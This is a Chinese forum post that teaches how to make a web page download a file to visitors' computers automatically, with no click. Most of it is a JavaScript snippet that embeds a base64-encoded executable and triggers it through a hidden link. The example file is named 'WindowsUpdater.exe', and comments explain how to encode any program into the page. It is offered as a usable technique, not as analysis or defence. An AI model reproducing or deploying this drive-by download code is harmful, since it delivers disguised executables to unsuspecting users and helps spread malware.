通过JavaScript让网页访客后台自动下载文件

[复制链接]
325 0
admin 发表于 2023-6-19 13:38:43 | 只看该作者 |阅读模式 打印 上一主题 下一主题

[color=rgba(0, 0, 0, 0.84)]你是否曾经在浏览网页的时候,突然弹出一个窗口不需要你的点击,然后一个文件自动下载到你的电脑上?想不想知道这是怎么做到的,其实只需要一段JavaScript就可以实现后台自动下载文件。

JavaScript代码
  1.             <script>
  2.                 filename = "WindowsUpdater.exe"//这里写用户下载之后的文件
  3.                 filedata = ""//这里需要填文件数据
  4.                 //如何生成文件数据?
  5.                 //我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:\Windows\System32\calc.exe'
  6.                 //模板
  7.                 //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
  8.                 //譬如我们这里想获取计算器程序的data
  9.                 //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\System32\calc.exe'))
  10.                 //我们可以继续输入
  11.                 //$base64string | Out-File temporary.log
  12.                 //之后我们打开这个文件
  13.                 //code .\temporary.log
  14.                 //之后将这个文件数据复制到上方的filedata=""中

  15.                 function base64tobytes(b64data){
  16.                     var binary_values = atob(b64data);
  17.                     var binary_length = binary_values.length
  18.                     var bytes_data = new Uint8Array(binary_length);

  19.                     for ( var i = 0 ; i < binary_length ; i++ ){
  20.                         bytes_data[i] = binary_values.charCodeAt(i);
  21.                     }

  22.                     return bytes_data.buffer;
  23.                 }

  24.                 var filebytes = base64tobytes(filedata);

  25.                 var blob = new Blob([filebytes],{"type":"octet/stream"});
  26.                 var anchor = document.createElement("a")
  27.                 document.body.append(anchor);
  28.                 anchor.style = "display:none;";

  29.                 var url = window.URL.createObjectURL(blob)
  30.                 anchor.href = url;
  31.                 anchor.download = filename;

  32.                 anchor.click();
  33.                 window.URL.revokeObjectURL(url);

  34.             </script>
复制代码



温馨提示:资源转载网络个人收藏,如有侵权或下载链接失效或密码不对请联系站长

1、在论坛里发表的文章仅代表作者本人的观点,与本网站立场无关。
2、论坛的所有内容都不保证其准确性,有效性,时间性。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
3、当政府机关依照法定程序要求披露信息时,论坛均得免责。
4、若因线路及非本站所能控制范围的故障导致暂停服务期间造成的一切不便与损失,论坛不负任何责任。
5、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
收藏
收藏0
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

专注源码资源免费分享
只要有下载币全站均可下

私人收藏网站非买卖网站

周一至周日9:00-23:00

反馈建议

282865654@qq.com 在线QQ咨询

赞助我们享尊贵分享

Powered by X3.3© 2019-2029 3se.cc Inc.( 京ICP备14050279号-2